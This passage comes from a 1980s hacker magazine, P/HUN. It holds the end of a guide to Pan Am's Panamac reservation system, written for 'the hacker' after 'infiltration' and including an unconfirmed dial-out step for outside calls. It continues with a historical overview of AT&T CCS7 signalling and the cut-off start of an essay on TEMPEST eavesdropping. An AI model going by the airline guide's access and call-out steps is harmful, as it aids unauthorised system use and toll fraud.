"YY" as the carrier code and make only one GFAX entry. A "YY" will send the information to all the airlines in the itinerary. >3 OS1 YY INF JONES/MARK MSTR 9 MTS Change/Delete ------------- The input to delete an OSI in the GFAX filed is the same as in HFAX. >3 1 (change symbol) To change an OSI entry in the GFAX field the format is the same. You delete, then reenter the correct information. >3 OSI AF.... (NEW INFO) GFAX SSR Entries: ----------------- SSR entries for other airlines are very similar to Pan Am HA FAX entries. The entry begins with "3A", followed by the segment and name related request. For e.g >3A KSML NH1 S1 N1 Breakdown 3A - This is the GFAX special service request KSML - Meal code NH1 - Action code to request S1 - Segment number N1 - Name item number. Any SSR entry to another airline is always on a request basis (NH) The request message is forwarded to the applicable airline(s) and must await a reply. Meanwhile, the passenger is adivised the Pan Am has requested the special service from the other airline(s) involved. Assume that you have made the following reservations: 1.1WILSON/ERMR 1 PA 218 Y 26FEB CCSJFK HS1 X 0940 1420 2 DL 1425 Y 26FEB JFKSLC HS1 1805 2040 The passengers desires a vegetarian meal and will be taking his dog (weight 30 lbs) with him. To book the SSRs on Pan Am the entries are: >4A VGML FS1 S1 N1 >4A AVHI FS1 S1 N1 . DOG 30 LBS (AVIH = live animals in hold) To book the SSRs on Delta Airlines the entries are: >3A VGML NN1 S2 N1 >3A AVIH NN1 S2 N1 . DOG 30 LBS Change/Delete ------------- To cancel or delete items in the GFAX handle exactly as in HFAX. Before end Transaction: >3 1 (change symbol) On a retrieved PNR: >3 . 1 XX Encode/Decode ARIMP Abbreviations --------------------------------- "ARIMP" codes are abbreviated messages which are used to communicate within the airline industry. These are listed in Panamac's "KI" information systems and may be accessed using the following entries: To find the code for a message (ENCODE), enter: >KI COD _ (using first letter of subject) To DECODE an abbreviated message, enter: >KI DCO _ (using first letter of subject) Part XI ------- Advance Seat Assignments ------------------------ It is Pan Am's policy to assign seats prior to departure only when requested by passengers. As you know many of us may want specific seat numbers or certain area for e.g smoking,non-smoking,window seats,aisle.Seats have to be requested when the booking is in progress. Lets take an example. Lets say you have booked a seat for Mr. Davdison on he has requested seat 3A which is in the non-smoking area and in the first class (P) cabin. His entries looks like: 1.1DAVIDSON/PLDR 1 PA 30 P 19APR JFKLHR HS1 X 1200 1800 2 PA 40 P 20APR LHRNBO HS1 100 700 To book his request a Host Facts entry is made. For e.g: >4A NSST NN1 S1 N1 . SEAT 3A 4A - Explained before NSST - is code for Non Smoking Seat NN1 - is the action code S1 - Segment 1 N1 - Name 1 . - Separtor which is compulsory 3A - This is the requested seat If this seat is available then you will get a "*". A display of the PNR will show the following: 1.1DAVIDSON/PLDR 1 PA 30 P 19APR JFKLHR HS1 X 1200 1800 2 PA 40 P 20APR LHRNBO HS1 100 700 HA FAX-SSRNNSTPANN01 PA0040P19APR JFKLHR 1DAVIDSON/PLDR SEAT 3A If the seat is already taken then the output will be: RE-CHECK AVAILABILITY/REJECTED DATA FOLLOWS/4SSRNSSPANN01 PA0030 P19APRJUNJFKLHR 1DAVIDSON/PLDR SEAT 3A To print an availability display (seats available) seat map must be displayed. Enter: >AC /S2 * AC - is the availability cabin S2 - This is the segment 2 * - Display You will get something like this: -PA0040P019APR JGKLHR 747-121 ZONE MAR AVAILABLE 9 * MOVIE SHOWN BETWEEN JFKLHR A B C D E F G H J K P P 1 1 $ A* A* 2 2 C F $ A* 3 3 A* A* 05---------- As you can see from the display that the requested seat is taken. The symbol use here is "$". Now lets get into the explanation. PA0040P19APR - Flight/Class/Date JFKLHR - Board/Off points of the segment booked 747-121 - This indicated the equiment used on the flight NMR - Zone requested "N" - No smoking "M" - Movies "S" - Smoking "W" - Without movie AVAILABLE 9 - Total number of seats still available to confirm. MOVIE SHOWN BETWEEN JFKLHR - Information on which sector the movie will be shown. A* - Indicates that if given the option, confirm these seats to passengers first. For e.g Seats 2B 3A B H J $ - This indicates that it is taken. e.g Seat 1 J 2 A - Blank indicates that seats dont exists on the aircraft P - Seats behind a partition or bulkhead. F - Special seating . People that require special seating ot handling C - Compulsory seat usually assigned to F seats. 05-------- - This indicates the last row in the zone and /or compartment in this case Premium, First Class. Some other commands: > AC/S1*S - Use this entry command if passengers request smoking > AC/S1*W - Without movie ( No smoking is assured) > AC/S1*WS - Without movie , Smoking specified. Part XII -------- When originating a PNR if a passenger decides to cancel and book a different flight the seat confirmation will automatically be cancelled as in this example (partial PNR display): 1.1BRESLIN/BMS 2.1CARTER/ASFR 1 PA 102 Y 26JUN JFKLHR 2100 0840 HA FAX-SSNSSTPAH02 PA102Y26Y26JUNJFKLHR 1IBRESLIN/BMS 1 CARTERASDR SEAT 33 AB Segment 1 cancelled X1 NEXT REPLACES 1 FLT//SEG FACTS CANCELLED *R 1.1BRESLIN/BMS 2.1CARTER/ASDR HA FAX-SSRNSSTPA(XK)02 PA102Y26JUNJFKLHR 1BRESLIN/BMS 1 CARTER/ASOR SEAT 33 AB Should a passenger wish to verify the seat description and/or location of his seat. There is an entry to display a seat map. The entry is: >VSSPA106/31JULIAADLHR*27 VSS - is the Verify Seat Selection 27 - This is the row. The response will be: PA0106 1AD/LHR 31JUL Y 747-121 ROWS 27 ZONES LAST ROW F/ 7 C/19 Y/57 A B C D E F G H J K N M N M N M 21/NM N M N M N M 27/ N M N M N M | |____ | | | | no smoking Movie ROW Number Row 27 is a no-smoking seat, with a movie view, over the wing Part XIII --------- This past will teach you all about hotels. I dont plan to go into details on this but will just make you familiar. There are 4 catagories of hotels: 1. Intercontinental (IHC) the Grand Metropolitan Hotel chain (XM Inventory stored in the system 2. Sheraton (XM Inventory stored in the system) 3. Other hotels (Special Arrangement) (XP Availability ) 4. Unlisted Hotels The XH and XM hotels have the actual inventory of thier rooms stored in the system and together with XP hotels the three types give you immediate availability. The hotels with whom Pan Am has a booking agreement are listed in a City's Station Information. To display the hotel for a city the input is: >KIBKKH BKK is the 3 letter city code and H stands for Hotels. The response to this would be something like: BKK STATION INFORMATION HOTEL INDEX 1000 KENYAN CONTINENTAL 1023 SHER BANKOK HOTEL 2351 * TAMARIN * 2342 ASIA : etc The hotels are further identified in the hotel Index by a four digit number, their name and location if other that the headline City it will be displayed as "* TAMARIN *" To determine of the hotel is "XH", "XM" or "XP" and to display details about a hotel the input is: >KI[Four digits Hotel Index] Here is what the response may look like: BKK HOTEL INFORMATION 1009 SIAM INTERCONTINENTAL SIAM INTERCONTINENTAL SIOUT PLACE 4290 HACKERS ROAD * TEL 000000 * SIAMICH XH XH 0923 LHTL XH0923 H C PVKGBD0N AS TL EP BHT EP P K D0N 04 00 01JAN-30DEC89 MODR SGLB 1840 DBLB 2000 TRPB 2390 : : : : GCR - JAN/JUN SGLB 1600 DBLD 1820 JUL/DEC SGLB 1600 DBLB 1820 NOTE LANAI ROOMS AND GROUND FLOOR ROOM ARE ON PERMANANT REQUEST GUEST WILL BE MET AT AIRPORT BY HOTEL REPRESENTATIVE AND ASSISTED TO HOTEL : : : LOCATION - CENTERS OF CITY OFF SIAM AQ. WITH EASY ACCESS TO ALL SECTIONS OF THE CITY THREE MAIN FROM ROYAL BKK SPORTS CLUB NATIONAL STADIUM. TRANSPORTATION - 35 MIN BY TAXI ARPT 25 MIN BY TAXI TO DOCK SERVICES- ROOM SVC 24 HRS LAUNDRY/VALET 24 HRS SPORTS - POOL,GYM ROOM,SHOOTING END The sixth line contains the booking code (in this case XH0923) This display has been shortened to make things easy. Hotels are booked in 2 ways: 1) Short Selling them using HOTEL booking code XH ........ >N1 DBLB XH1122-10OCT 15OCT MODR XM ........ >N2 SGLB XM1355-05MAR 12 MAR MAXR XP ........ >N1 TWNB XP3087-02JUL 9JUL MODR 2) The other way is a Segment entry for UNLISTED. >0 HTL PA NH1 ROM 1N23-JUL-OUT30JUL DBLB MODR DORA Part XIV -------- Personell who can access the Pan Am main computer may also be able to call out. I am not positively sure about this because this info was recently given to me by a Pan Am employee. Enter as follows: >HOLD NETCHANNEL 1 There may be many netchannels in the systems. If it is occupied then it will give a "CHANNEL 1 BUSY" error. Then it will prompt you for a call out password. This is different from your login password. Password : XXXXXXXXXX Then the immediatly after that it will give a prompt "#" . This is where you will be able to input digits to call out. # (317)5552322 Part XV [Misc] -------------- Airline Codes ------------- Pan Am, and all other airlines, use a two-letter airline identification code for reservation and ticketing purposes. There is no hard and fast rule as to how the two-letter code is derived. These codes are assigned by IATA/ARC. This list contains some of the worlds major airlines. Hope this list will come in handy. Airline Airline Code Airline Airline Code ------------------------------------ ----------------------------------- AER LINGUS EI AEROFLOT SU AREOLINEAS ARGENTINAS AR AERO MEXICO AM AIR AFRIQUE RK AIR CANADA AC AIR FRANCE AF AIR INDIA AI AIR NEW ZEALAND - INT. TE ALASKA AIRLINES AS ALITILIA AZ ALOHA AILINES AQ AMERICAN AIRLINES AA AUSTRIAN AIRLINES OS AVENSA VE AVIANCA AV BRITISH AIRWAYS BA BWIA INT. BW CAAC - CHINA CA CATHAY PACIFIC AIRWAYS CX CHINA AIRLINES CI CONTINENTAL AIRLINES CO CP AIR (CANAIAN PACIFIC) CP DELTA AIRLINES DL EASTERN AIRLINES EA EL AL LY GULF AIR GF HAWAIIAN AIRLINES HA IBERIA IB INDIAN AIRWAYS CORP. IC JAPAN AIR LINES JL KLM ROYAL DUTCH AIRLINES KL KOREAN AIR LINES KE LACSA LR LAN-CHILE LA LUFTHANSA LH LIAT LI MEXICANA MX NORTHWEST NW OLYMPIC AIRWAYS OA PAN AM PA PIEDMONT AIRLINES PI QANTAS QF SABENA SN SAS SK SAUDIA SV SINGAPORE SQ SOUTH AFRICAN SA SWISSAIR SR TAP (AIR PORTUGAL) TP TWA TW UNITED AIRLINES UA US AIR AL VASP AIRWAYS VP VARIG RG Conclusion ---------- Hope all have found this article of some intrest. My apologies for the lenght. I have tried my best to include all major topics that may be usefull to the hacker. I suppose now you know that booking flights is not that easy process. So next time please dont start yelling at the poor sales agent for some minor problem. Using this system can be a lot of fun. Although one can create a major havoc after infiltration. I urge you all not to do any of that sort. This system is quite delicate and one should be very carefull when using it. All the reverse command processes have been included in this article. I have purposely left out some commands that proved to be harmfull to the system. Under no circumstances am I responsible for this article's contents, for this serves only as an educational tool. I would like to thank Mr. C of the Pan Am Security Division for all his help. If anyone wishes to get in touch with me, I can be contacted at the Hacker's Den or at the Phoenix Project. Best of luck! Red Knight @ Phun Magazine Inc. Hackers Den88 (718)358/9209 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #7 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Common Channel (InterOffice) Signalling: An overview DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD By Tubular Phreak References: o - BTJ! o - AT&T comunications o - Tel-Network planing This article will inform you of the stages CCS has gone through over the past years. CSC known originally as Common Channel Interoffice Signalling was introduced back in 1976. Since its introduction it has added datagram direct signalling and has been modernized by new digital and proccesor technology and by delvelopments in software enginerring techniques. This prevents Blue Boxing due to the fact that signals are carried over a different link than voice. CCIS net improved its the old trunk signalling bettween SPC (Stored Control Program) toll switches thereby increasing speed and its economical. The CCIS network was composed of what know as STPs(Singal Trasfer Points) CCIS Network ------------ Region #1 + Region #2 ** + ** | + | | + | | + | (SPC)------** **----(SPC) |________________________| ** - STP mated pair __ - Voice Trunks | - Links + - Divider The Datalinks use 2.4 kb/s(kilobytes per second).In 1979 they used 1A switch was added. Later in 80 they added a special feature of direct signalling (datagram) which operate at 4.8 kb/s. This capability provided the SPC machines with the neccesary information through the CCIS Net.The allowed NCP (Network Control Points). The NCPs connect directly to CCIS at certain STPs. The SPC machines quired the NCPs and receives the instructions for the action in response.Therefore they became known as ACPs(Action Control Points). This status if the CCIS provided 800 services and calling cards. In 1985 the siganlling network added 2STPs and 56kb/s.This new network was called CCS7. This new method of signalling used CCITT No.7 Protocol and with it new more efficient feature came like ISDN. Archaic CCIS in 76' DDDDDDDDDDDDDDDDDD Before the introduction of CCIS, SF/MF signalling method was in use. The SF was responsible in determining the idle/busy side state of a trunk. 2600 Hz the idle trunk was removed when a call was to be placed on the trunk. Then MF signaling was used to determine routing information to the distant end and when the party answered the SF was removed from there side. Tandem switching was not economical and was slow. As the introduction of SPC came about in which common control equipment was based on electronic procedures, the overhead associated with the call setup became a more dominant factor. MF/SF signaling was used until a toll switch ESS4 was introduced in 76'. Therefore AT&T produced CCIS in assocation with the ESS4 toll switch. Signalling used a different link than voice. As mentioned above CCIS used 2.4/kb signalling links to transmit the signal. Due to the fact that one 2.4/kb could could provide for more than 2000 trunks, therfore the a regional STP was put in place. Each STP was connected to several toll switches.Each regional STP was connected to each of the distant STPs.Each STP was connected to its parner which provided a path for connections between switches if there was a failure of distant STPs The STPs in the network were provided by a portion of the processor associated with the 4A-ETS(Electronic Translator Systems). Message routine within the STPs was performed by a band and lable scheme that defined a virtual signalling circuit where 512 bands of 16 trunks coule be accomodated. This allows 8192 voice trunks to be uniquely identified on a specific signaling link. Direct Dialing Signalling(1980) DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD In 1980, a direct signalling capability was added to the CCIS Network. This capability allwed messages to be sent from a signalling point to any other signalling point in the network and supported a new network architechture in which a portion if the switched network routing instruction could be placed an a database shared by multiple SPC switches. These common databases became known as network control points (NCPs). The SPC switches became known as action points (ACPs). because they performed actions based on instructions from NCPs. This required an inquiry-response in the Common Channel Interoffice Network. This communication between ACPs and NCPs was performed by a new feature called Datagram Direct Signalling. Unlike banded(trunk) signalling. This method of signalling directed messages on a destination-routing basis through all the Singal Tranfer Points. Therefore the direct signalling messages included a unique destination address that was used by the STPs to route the message based on a table that associated destination addresses with physical points in the network. With this, the CCIS network could direct messages to individual functions allowing the introduction of unique services such as advanced 800 with features like time of day routing call prompter and customer-controlled routing of traffic based on information stored at central databases. CCIS Network Growth DDDDDDDDDDDDDDDDDDD As the AT&T network grew both in terms of SPC swicthes and volume of traffic, it became necessary to augment the initial CCIS network capability. First the number of STP pairs was increased from the initial 10 pairs to 16 pairs. Three of the additional -airs were used as area STPs, which served the trunking needs of the portion of the network. The remaining 3 STP pairs were associated directly with NCP pairs and performed a direct signal funtion. In addition the message handling capacity of the network was increased by deploying 4-8kb/s signalling links in place of the original 2.4kb/s links.STP processing capacity was also increased as the original shared use of the ETS processor was removed when the switch function at each STP location was transfered to a new 4 Elect- ronics Switching System machines. The Impact of AT&T Divestiture on CCIS Network DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD On January 1, 1984 the court-ordered AT&T divestiture became effective. Divestiture establishment local access and transport areas (LATAs), which defined local markets areas. AT&T became an inter-LATA carrier providing communication services between these LATAs. Under the divestiture agreements, the STPs,NCPs,and interconnecting data links were assigned to AT&T. The minor use of these facilities by the divestiture BOCs(Bell Operating Companies) was provided under contract.Equal access to the inter-LATA carriers under divestiture was provided mostly by MF/SF signalling. However a new multi-stage MF outpulsing arrangement was added to forward the orginating number to inter- LATA carrier for billing and other purposes. Common Channel Signalling 7 (1985) DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD During 1985, the STP capability was enhanced by the introduction of 2STP based on the AT&T 3B20 duplex (3B20D) processor and an associated processor inter- connect capability (PIC).In addition , 56-kb/s digital facilities were provided between the STPs. The 2STP uses the CCITT Signalling System 7 protocol and provides message transfer part (MTP) function. The MTP can route a message reliably and qucikly from one point in the signalling network to any other point. The resulting network has been named the CCS7 network. Initially, the CCS7 network was used to augment the trunk signalling capabilities of the 1STP network using the embedded CCIS6 (ECIS6) protocol. ECIS6 interacts with CCS7 and allows switching systems connected to the 1STP network to communicate with other switches connected to the 2STP network.However during this transitional period, all switching systems are connected to either the 1STP or 2STP locations via 2.4 or 4.8 kb/s signalling links. CCS7 Destination CCIS (1986) DDDDDDDDDDDDDDDDDDDDDDDDDDDD In 1986 the CCS7 network was expanded to include direct signalling. This was done by adding new capabilities in the NCPs to allow 56-kb/s connecting links and the ability to route direct-signalling messages within the 2STPs. For transitional compatibility, a new destination CCIS6 (DCIS6) interworking protocol was deployed. The 4ESS and 5ESS switches in the network will use the Integrated Services Digital Network User Part (ISDN-UP) to control call setip and will have the capability to support ISDN services. The ISDN-UP will use the services of the already deployed MTP and provide a broad set of switched digital services. Evolution of NCP Serices to a Distibuted Architecture DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD The increasingly demanding requirements of call processing services such as the AT&T card service, advanced 800 and software defined network (ISDN) have led to a steady evolution of the NCP architecture toward more distribution. This is to increase versatility of the usage, flexibity of growth and performance. At the same time we will be able to introduce more new services. The orgianl NCPs introduced in 1980 consisted of AT&T 3B20 duplex processors and multiple disk drives. The 3B20D handled all the fucntions including query processing database admnistration and updates and signaling. The first step toward a distriuted NCP architecture was in the signalling architecture. In 1985 the NCP incorporated a highly reliable processor interconnect capability(PIC) with the same technology used in the 2STPs. It provides communication between the CCS network and the NCP application databases in the 3B20D host Signalling links from the STPs to an NCP terminate through link nodes(LNs) on the PIC.The CCS query messages could access an NCP through the LNs and travel to the appropriate database application in the 3B20D. Similarly query responses destined to the CCS network could exit from the NCP through the PIC and the LNs The future NCP architecture will continue to serve host to the NCP distributed enviroment and the PIC will remain the vehical for the interprocess communication and signaling-link termination. To attain distributed query processing, the NCP database architecture will feature the intergration of multiple transaction-processing components. CCS7 Network Interconnection DDDDDDDDDDDDDDDDDDDDDDDDDDDD With the potential for end to end signalling services and the adoption of CCS7 standards, there is a growing effort to connect networks of different carriers and different countries as well as various privately owned networks. It is expected that in the future all North American networks will have CCS7. Therefore AT&T is currently involved in defining standard CCS7 interface for use between netwroks. Initially, the new interface will consist of 2STPs deployed in pairs.This network configuration assumes that interconnecting will use designated STPs as gateways. The gateway STPs will be required to screen all incoming message to prevent unauthorized use of network resources and services :-) Interconnecting networks using designated STPs as gateways. Network boundary Network 1 (AT&T) | Network 2 _____ ______ | _______ |X | |X | | | |X | | | X |----------| X | |___|__| X | | |__X| |__X_|_| | |__X_|_|X | X | | | X | X | | | SPC Switch | X __|___ | | / | X______|X | | | ___|___/ | _____| X | |___|__|X | | |______| |__X_|_| | | X | | Gateway | |__X_|_| 2STP mated pair | Gateway STP | mated pair | The figure below shows interconnection of a small network that does not have STP gateway. Network boundary Small network 3 | AT&T CCS7 netowrk | ______|_________%%%% / | %%%% / | +++++++++ / | + SPC +/ | +switch +X | +++++++++ X | X | 2STP mated pair X______|_________%%%% | %%%% The same arrangement that is being used domestically is currenlty being inves- tigated for application to the CCITT No. 7 message transfer part/telephone user part (MTP/TUP) international network interconnection. However because of differences between national networks, international interconnection is more complex. With the implementation of ISDN-UP for international signalling in early 1990s, it is expected that many of the existing domestic services will be extended to embrace the international networks as well. CCS7 Support for ISDN Services DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Common Channel Signalling was designed for signalling between network entities. ISDN protocols are designed for out of band signalling all the way to the end user.Much of the current effort in ISDN is in defining protocols and architectures for providing the out of band signalling from the end user premises to the network.However to provide end to end service the network has to transport the end user's out of band signalling, using CCS or other means. An important benifit of CCS7 is its inherent ability to support feature transperancy i.e., allowing of passing of information that can only be interpreted and used by end users.This capability can be attained by interworking the ISDN Q.931 protocol with the CCS7 ISDN-UP and extending ISDN to switched access users through network interconnection. Methods of supporting CCS7 features transparency include: o Message-associated user to user information o Temporary and permanent signalling connections.Message associated user to user information could pass along with regualar CCS7 call control messages as opposed to using signaling connections specifically established for that purpose. The transfer of transparent inoformation would generally be done after the signalling connection (temporary or permanant) is established but message associted transparent information could be transfered during the establishment and/or termination phases of the signaling connection. Both AT&T and the regional BOCs are deploying ISDN signalling in their networks Once in place, ISDN offers capabilities such as o Per-cali selsction of services and bandwidth o Combined voice,data and even video on a single call o Calling-number identification at the terminating end (for example, a digital display for the calling number during ringing) o Sophisticated multimedia teleconferencing capabilities Futhermore ISDN will be able to make it possible to add new features and improve the implementation of the exsisting services such as support packet transmission and separation of the call/control from user control information in ISDN. Potential CCS7 Network Enhancements DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD The future CCS network will probably be configured as follows: 1) The ISDN-UP will be used throughout North America.As local carriers adopt CCS7 network interconnect will provide for end to end digital services. The signalling connection control part (SCCP) will be used to provide data capability for ISDN user to user information. 2) The CCITT No. 7 protocol will be used internationally.First the telephone user part (TUP) will provide basic call setup to countries that chose to use this protocol initially. However because of its increased flexibility and support for digital services, the ISDN-UP will be used to extend domestic ISDN services worldwide. 3) The interconnection with local exchnage carriers as they expand their own CCS systems will enhance LATA access services and allow new inter-LATA service. 4) AT&T services will evolve as the flexibility and capacity of the CCS7 of the protocol is utilized.The transaction capability and part (TCAP) will provide an effecient protocol for direct-signalling query and responses, to support new databases and switch-based services. The interworking of CCS7 with the Q.931 ISDN access protocol will allow end to end services that are not possible with in-band signalling and will provide more effective and innovative use of work. Conclusion DDDDDDDDDD The evolution os the AT&T common channel signalling system has been shown to be a critical part of the AT&T network and services. It has provided a cost effective means of providing flexibility in the marketplace. The system is expected to evolve as new capabilities and need are indentified. Tubular Phreak NUA! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #8 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= WHO'S LISTENING --------------- By Capt. Zap Over the years, there has been a number of different studies and discoveries that would alter personal and electronic security over time. Devices able to "listen" to almost any form of communications have become commonplace and are available "over the counter" from a varied number of sources. Such units range from ten to fifteen dollars to expensive set-ups that employ microwaves and lasers for the interception of almost any audio signal in the spectrum. But now with somewhat needed protection from outsiders in reference to this problem, a number of solutions have been put in place and global protection is insured in environments that have such need. But the coverage of environment has had a a major change in protective attention now being place on the actual electronic emmanations that are so common with todays standard electronic apparatus. Electronic telephones, computers and communications networks, ATM's, radio and television stations are just part of the overall electronic bubble that we have placed our society into with the hopes of providing better and faster methods to make daily life a bit easier. But with such a fragile structure as the electronic bubble, we have new opportunities to discover secrets never before possible due to the lack of technology. The same technology that helps us in one way or another may also be helping others unbeknownist to those who are protecting the environment in the first place. Signal leakage, either by design or by accident may lead to total collapse of protective measures due to "wide open spaces" in the protective sphere. In this particular paper, we will discuss the possible problems of common office technology may bring in un-securing your installation. Our main focus will be in the areas concerning with the emmanations or transmissions of "Tempest" frequencies. "Tempest", is the code name given to a specfic area concerned with radio frequencies radiated by computing equipment by the U.S. Dept. of Defense. This "concern" from such equipment dates back to the late 50's. The concern ranged from the possible interception of "informational information" by sources other than the intended users of such. The problem is more easily reconigized by the current requirement of normal electronic equipment having to conform to emmision standards put forth by the Federal Communications Commission in reference to the amount of electronic "noise" generated by common standard technology so that such signals do not interfer with other such pieces of equipment or their operations. To describe in simple terms, Tempest frequencies are almost straight through from commerical AM stations to the upper reaches of 600 Mhz. They are generated or transmitted by any number of different common daily life electrical and electronic systems. Your TV puts out one frequency, the stereo another, the common electronic telephone, cordless phones still another, the microwave oven puts out another and the wireless alarm does it to, and story goes on. So just as all of these pieces of equipment emmit a signal, so does the personal computer. We will describe two possible examples of such informational information and the abilty for some with directed intent to cause potentially fatal results due to the use of directed "noise". It should be noted that the current specifications for "Tempest" approved systems is considered classified by the DOD and these specs were not available to the author. But if one was to look at the specs for normal computing equipment and reduce the allowed emmission output by at least 50 percent, that may be a realistic emmission standard accepted by the DOD. Example 1 "We had better "Czech" this out! ------------------------------- In 1987, a very strange occurence concerning forgein nationals from an Eastern bloc nation entered this country in a large camper-like truck via the border checkpoint at Niagra Falls, New York. The visitors numbering 4 or 5, were in the country under tourist visa's and were reported to be representives of the countries automobile and truck industries here on a promotional tour to garnner interest in their exportable products. The one problem with the "visitors" is that none of them had any connection with such industries in their home country. In fact, the visitors were far from what they supposedly represented. The group descripton read like a Whos' Who of mid-level management of Eastern bloc intelligence operations. The group reportedly consisted of a nuclear physists, a specialist in aerial map-making complete with a small ultra-light powered aircraft, a communications and computer expert and two communist party officals. Over a 5 month period, the group was reported to have visited 17 states looking at 40 to 48 sites dealing with military and defense contractor sites. The vehicle and its occupants were reportedly followed by over 100 agents of the FBI, NSA, Secret Service and State department and at least one over flight of a military reservation was reported. Even though the overflown site was not identified, one site was. This site, was the "sensitive" naval communications center for the Pacific Fleet located in San Diego. It was reported that the truck and it's occupants were parked a few hundred yards from the facility for several days and according to law, were in no violation of any current statute at the time. The group was also at or around at the 2800 acre North Island Naval Air Station based in Coronado, California. The spokesman for the base stated that you could not see much of anything going on except for the take-off and landing of aircraft which you could see from almost any place. Common sense states that you do not have to be inside the facility in either a physical or electronic standpoint to collect information. You can park in any lot or street close enough to your supposed target and stick up your antennas. No property violations, no photo restrictions to comply with, no restrictions at all because you are sitting in a public place, parked or having coffee with your "ears" on. A good example of such parking was reported in a paper published in Computers and Security 4, titled Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk? by William Van Eck, copyright 1985. He stated that when they were conducting their experiments in the open on public roadways, with a van and antenna system that was quite noticable, no one asked what they were doing or had any thought about the time spent doing such things. The end of this particular story is as follows: At the end of the suspect journey, the truck was searched at the Nosgales, AZ border checkpoint and was then released. Nothing considered illegal was found in the search and the truck and it's passengers were released and entered Mexico. Now even though the truck was suspected of performing passive "eavesdropping" operations, the federal goverment had no legal right to hold either the truck or crew. And the possible intercepted information was then released from the country. It should be noted that the truck could have a number of standard "off the shelf" items. These items could have consisted of 2 general coverage radios with a combined tuning range between 100 Khz to 2 Ghz., an IBM personal computer clone, various cheap video and signal enhancment equipment, printers and modems, and other such complement devices. None of the equipment would be any "James Bond" type of gear and the basic suspected set-up would cost the operation less than 10,000 dollars if budgeted correctly. And if possible, use of other simple off the shelf type radios like the 200.00unit available from Radio Shack that covers 150 Khz to 30 Mhz is not at all unheard of due to some budget constraints. And since most emmanated signals generated by logical devices are within commerical AM and FM frequencies, the use of a standard auto radio antenna would suffice to use as a pickup. So the major concern with such actions comes from the ability of simple equipment to detect, register and decipher such emmanations with relative ease. The ability of such persons and possible actions able to penitrate the electronic fog of our society should be a clear distinct warning to those concerned with security in general. In addition to all of the above, the author contacted various federal goverment agencies in reference to this information and was told that they had no knowledge of such an investigation and could not tell where such supposed counter-intelligence operations were controlled from or who to contact in reference to supplying such information. Current "Freedom of Information Act" requests for information concerning this supposed federal project are underway. An interesting note about filing the forms for access to information about the Czech incident is described to give guidance to others who may wish to investigate this incident and seek help from such elected officals. When the papers were filed for the desemenation of information through the Freedom of Information Act, members of the U.S. Senate and Congress were contacted in reference to this matter. The first contact was placed through Senator Arlen Spectors office in Philadelphia, Pa. We were first rebuffed by persons who refused to identify themselves with the statement " I am sorry, but that information is covered by the 1974 Privacy Act, Click! Well we called back and informed the person who answered the call of the situation and then were re-connected and informed them that Czech citizens were not covered by US privacy laws and that there was no invasion of privacy. They called the FBI and asked if they were the way such things were handled, and were told yes or no. But they had no answer for any question put forward and said " They were sorry!", but we don't know how to help you!. Our second contact to Senator Spectors office in Philadelphia as in essance like the first, they would not assist nor would explain why they took this position in the first pace. During our second contact we spoke to a Miss or Mrs. Anderson. She stated that such requests were not in the senator's perview and they could not assist in this matter. When asked why it as not in the senators preview, we were informed that they do not have to give a response. When asked for an offical response, we were informed that no offical response would be given. But as a side note, Senator Hienz office said that they would forward the requests to Spectors office in Washington. One other thought on this matter: I am sure that if the good senator wants to get some information, his staff jumps through hoops to get him all he wants and then some! A pre-publish copy of this article will be delivered so that even he (or his office staff, who were of no help at all due to a tough question placed to them by a citizen) may learn of what may be going on in his own country. So much for gaining assitance from a senator who sits on a judical panel. We visited next the office of John Hienz. Again, funny looks about the Freedom of Information Act and they hemmed and hawed at the questions presented. They took the requests and said they would try and see what could be done. Our final visit was to our local congressman, Tom Foglietta, whos office still stated the 1974 Privacy law, but took the requests when presented in person. It pays to visit your elected representives working areas. So much to do (if you work there!) in a goverment office. Other federal agencies including the FBI were most helpful in complying with the requests. Of course we found this most interesting. Is it so they could possibly reclassify the information to a "Secret" status instead of what it may be now. Other agencies contacted in reference to FOIA requests include the CIA, NSA, NRO, Customs, State Dept., Army Automated Intelligence and Military Police, FBI, FCC . Example 2 "Breaker, Breaker, Wally Gator!" ----------------------------- During the 70's, the United States had a short term love affair with the Citizens Band radio. What were once clean channels were suddenly crammed with persons who wanted to be able to communicate with any number of persons who also had such capabilities. Suddenly, everyone had one of these radios in the home or car and some were know to have both. Numerous persons ran such rigs with varing illegal applications ranging from a lack of license to the intense over powering of such stations. To give a brief explanation of CB's, we will keep it simple. CB's transmit in the upper reaches of 26 Mhz to 27 Mhz or 11 meters band. CB's are allowed to operate with a maximum output of 5 watts radiated power. Of course this limited power was not sufficent for some users and the use of linear amplifiers or "heat" was commonplace. Stations were known to be transmitting 50 to 2 thousand watts to their antennas which in turn would increase such signals to a power of over 2 hundred thousand watts. Some operators were known to show the intense power outputs with the use of flourescent lightbulbs and the abilty to "light" these tubes from a distance without electrical connections with the amplified radiated power of their antennas. Some persons were known to have full control of channels in their respective areas and would blank out anyone who would not conform to the channels establised rules or procedures. Others set-up pirate stations that would broadcast commerical music for all to hear complete with news, weather and sports. Such actions would tie up frequencies and caused a general crackdown by the FCC in the later years. But the problem still continues and the FCC has all but given up on the idea of any enforcement of regulations concerning such operations on the 11 meter or 27 Mhz band. The craze of CB's left the general populace by the late 70's and was back in the hands of those who would truely use such radios. Those who would use such radios best known, would be the persons called truckers since that is what they do. They "truck" goods from one place to another and are concerned with time and travel conditions as most of us are. The truckers always had some "heat" on-board for those times when they could not get their signal 